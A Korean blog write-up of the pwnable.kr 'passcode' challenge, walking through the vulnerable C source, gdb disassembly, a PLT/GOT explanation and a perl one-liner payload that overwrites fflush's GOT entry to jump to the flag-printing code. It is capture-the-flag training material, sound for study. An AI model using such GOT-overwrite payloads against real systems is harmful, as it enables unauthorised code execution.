[toddler's bottle] passcode

폭풍저그머성찡 ㅣ 2018. 11. 30. 19:14

아 이 문제 넘나 어려웠엉 ㅜㅜ


이 문제 풀면서 배운 개념은 평생 기억날 것 같다.


소스코드는 다음과 같다.


#include <stdio.h>

#include <stdlib.h>


void login(){

        int passcode1;

        int passcode2;


        printf("enter passcode1 : ");

        scanf("%d", passcode1);

        fflush(stdin);


        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)

        printf("enter passcode2 : ");

        scanf("%d", passcode2);


        printf("checking...\n");

        if(passcode1==338150 && passcode2==13371337){

                printf("Login OK!\n");

                system("/bin/cat flag");

        }

        else{

                printf("Login Failed!\n");

                exit(0);

        }

}


void welcome(){

        char name[100];

        printf("enter you name : ");

        scanf("%100s", name);

        printf("Welcome %s!\n", name);

}


int main(){

        printf("Toddler's Secure Login System 1.0 beta.\n");


        welcome();

        login();


        // something after login...

        printf("Now I can safely trust you that you have credential :)\n");

        return 0;

}


이름을 100글자 받고 다시 login함수에서 정수 2개를 차례로 받아서 검사하고


플래그를 출력해주는 구조다.


근데 웬걸!! 이 샛기가 scanf에 주소값을 안주고 일반 변수를 인자로 줬다.


즉 저 함수가 실행되면 초기화 되지 않은 변수에 들어있는 쓰레기값이 들어가고 그 쓰레기값에 해당하는 주소에 입력이 박힌다.


입력이 똑바로 박히기라도 하면 다행이다. 코드나 커널쪽을 건드리면 실행조차 안된다. 



메인 함수에서 welcome을 호출하고 login을 차례대로 호출하는 방식으로 동작한다.


우선 gdb로 각각의 함수들을 까보자.


가장 처음호출되는 함수인 welcome부터 보자


0x08048609 <+0>:     push   ebp

0x0804860a <+1>:     mov    ebp,esp

0x0804860c <+3>:     sub    esp,0x88  

0x08048612 <+9>:     mov    eax,gs:0x14

0x08048618 <+15>:    mov    DWORD PTR [ebp-0xc],eax

0x0804861b <+18>:    xor    eax,eax

0x0804861d <+20>:    mov    eax,0x80487cb

0x08048622 <+25>:    mov    DWORD PTR [esp],eax

0x08048625 <+28>:    call   0x8048420 <printf@plt>

0x0804862a <+33>:    mov    eax,0x80487dd

0x0804862f <+38>:    lea    edx,[ebp-0x70]                                 // scanf의 인자로 들어간다.

0x08048632 <+41>:    mov    DWORD PTR [esp+0x4],edx             // ebp-70부분부터 name[100]의 값을 받는다.

0x08048636 <+45>:    mov    DWORD PTR [esp],eax                 // 즉, name 배열의 주소는 ebp-70이고 크기가 총 100바이트짜리이므로 ebp-c까지가 name 배열의 영역이다.

0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>

0x0804863e <+53>:    mov    eax,0x80487e3

0x08048643 <+58>:    lea    edx,[ebp-0x70]

0x08048646 <+61>:    mov    DWORD PTR [esp+0x4],edx

0x0804864a <+65>:    mov    DWORD PTR [esp],eax

0x0804864d <+68>:    call   0x8048420 <printf@plt>

0x08048652 <+73>:    mov    eax,DWORD PTR [ebp-0xc]

0x08048655 <+76>:    xor    eax,DWORD PTR gs:0x14

0x0804865c <+83>:    je     0x8048663 <welcome+90>

0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>

0x08048663 <+90>:    leave

0x08048664 <+91>:    ret


그 외에는 딱히 특별한 부분이 없다. 


++ 얘네는 스택 정리하는 코드를 함수에 넣어놔서 더 헷갈렸디;;


다음은 login파트의 어셈블리 부분이다.


0x0048564 <+0>:     push   ebp

0x08048565 <+1>:     mov    ebp,esp

0x08048567 <+3>:     sub    esp,0x28 // 0x28바이트의 지역변수

0x0804856a <+6>:     mov    eax,0x8048770

0x0804856f <+11>:    mov    DWORD PTR [esp],eax

0x08048572 <+14>:    call   0x8048420 <printf@plt>

0x08048577 <+19>:    mov    eax,0x8048783

0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10] // ebp-10부분의 메모리를 긁어서 넣어준다.

0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx  // 아까 ebp-c까지 메모리를 받던데?? -> 100개의 입력중 마지막 4자리를 조절해서 흐름을 바꿀 수 있다.

0x08048583 <+31>:    mov    DWORD PTR [esp],eax

0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt> //scanf문의 인자니까 받는 메모리 주소겠지? 작성자가 주소값을 안넣어놓은걸 내가 임의의 주소를 넣어서 특정 부분을 바꿔야 할것 같다.

0x0804858b <+39>:    mov    eax,ds:0x804a02c

0x08048590 <+44>:    mov    DWORD PTR [esp],eax

0x08048593 <+47>:    call   0x8048430 <fflush@plt>

0x08048598 <+52>:    mov    eax,0x8048786

0x0804859d <+57>:    mov    DWORD PTR [esp],eax

0x080485a0 <+60>:    call   0x8048420 <printf@plt>

0x080485a5 <+65>:    mov    eax,0x8048783

0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]

0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx

0x080485b1 <+77>:    mov    DWORD PTR [esp],eax

0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>

0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799

0x080485c0 <+92>:    call   0x8048450 <puts@plt>

0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6

0x080485cc <+104>:   jne    0x80485f1 <login+141>

0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9

0x080485d5 <+113>:   jne    0x80485f1 <login+141>

0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5

0x080485de <+122>:   call   0x8048450 <puts@plt>

0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af

0x080485ea <+134>:   call   0x8048460 <system@plt> // 플래그 출력부

0x080485ef <+139>:   leave

0x080485f0 <+140>:   ret

0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd

0x080485f8 <+148>:   call   0x8048450 <puts@plt>

0x080485fd <+153>:   mov    DWORD PTR [esp],0x0

0x08048604 <+160>:   call   0x8048480 <exit@plt>


이 다음엔 plt와 got의 개념에 대해서 잠깐 설명하겠다.


c파일을 컴파일하면 오브젝트 파일이 생성되는데 


오브젝트 파일은 아직 외부 라이브러리에 대한 실제 실행코드가 들어있지 않은 상태이다.


따라서 외부라이브러리 오브젝트 파일의 실행코드들과 매치를 시켜서 실제 실행 코드를 삽입해줘야하는데


이 과정을 링킹이라고 부른다. 링크는 동적 링크와 정적 링크가 있다.


정적 링크는 그냥 실행코드를 exe파일에 다 때려 박는 방식이다.


프로그램이 매우 커지고 같은 용도의 함수가 메모리 상에 많이 올라가기 때문에 비효율 적이다.


동적 링크는 외부 라이브러리를 메모리공간에 올려두고 필요할때마다 불러다 쓰는 방식을 말한다.


따라서 대부분의 프로그램들은 동적 링킹을 사용한다.


그런데 동적링킹을 하면 반드시 필요한 과정이 있다.


프로그램에서 printf문을 호출했을 때, 그 실행코드의 주소가 과연 어디에 있는지를 알아야 실행할 것 아닌가


이 때 사용하는 것이 plt와 got이다. (procedure linkage table, gobal offset table)


plt로 외부 라이브러리를 호출하면 다음과 같은 과정을 거친다. 어셈블리에 들어있는 @plt가 붙어 있는 함수들은 모두 이 과정을 거친다.


1.plt로 점프


2.got함수로 점프


3. 함수 주소가 있을 경우 해당 주소로 점프


4. 주소가 없을 경우 de_resolve 라는 함수를 통해서 해당 함수의 주소를 반환함


그니까 쉽게 말해서 그냥 외부 라이브러리 주소 저장하는 캐시테이블이라고 생각해도 무방하다


우선 우리가 4바이트의 값을 scanf를 통해서 변조한 뒤에 흐름이 달라질 것이므로


scanf호출 뒤에 가장 처음 plt로 호출되는 함수인 fflush(stdin); 의 plt테이블을 살펴보도록 하자


x/3i 0x8048430


0x8048430 <fflush@plt>:      jmp    DWORD PTR ds:0x804a004 // 찾았다. 이거 0x804a004에 '담겨있는 주소'로 점프하는 문장이다.

0x8048436 <fflush@plt+6>:    push   0x8

0x804843b <fflush@plt+11>:   jmp    0x8048410


다시 말해서 4바이트 변조하는 값으로 0x804a004에 있는 주소를 system함수가 flag를 출력하는 부분(0x080485e3)으로 바꾸면 끝나는 문제다.



페이로드  : perl -e 'print "a"x96 . "\x04\xa0\x04\x08" .  "134514147"' | ./passcode 


134514147 = 0x080485e3


다 좋은데 마지막에 처음에 시도할 때 


./passcode $(perl -e 'print "a"x96 . "\x04\xa0\x04\x08"') 까지만 넣고 134514147은 그냥 칠려했는데 끝까지 scanf부분에서 안멈춰서 힘들었다;;

 




'write-up > pwnable.kr' 카테고리의 다른 글

[toddler's bottle] mistake  (0) 2018.11.30
[toddler's bottle] random  (0) 2018.11.30
[toddler's bottle] flag  (0) 2018.11.30
[toddler's bottle] bof  (0) 2018.11.30
[toddler's bottle] col  (0) 2018.11.30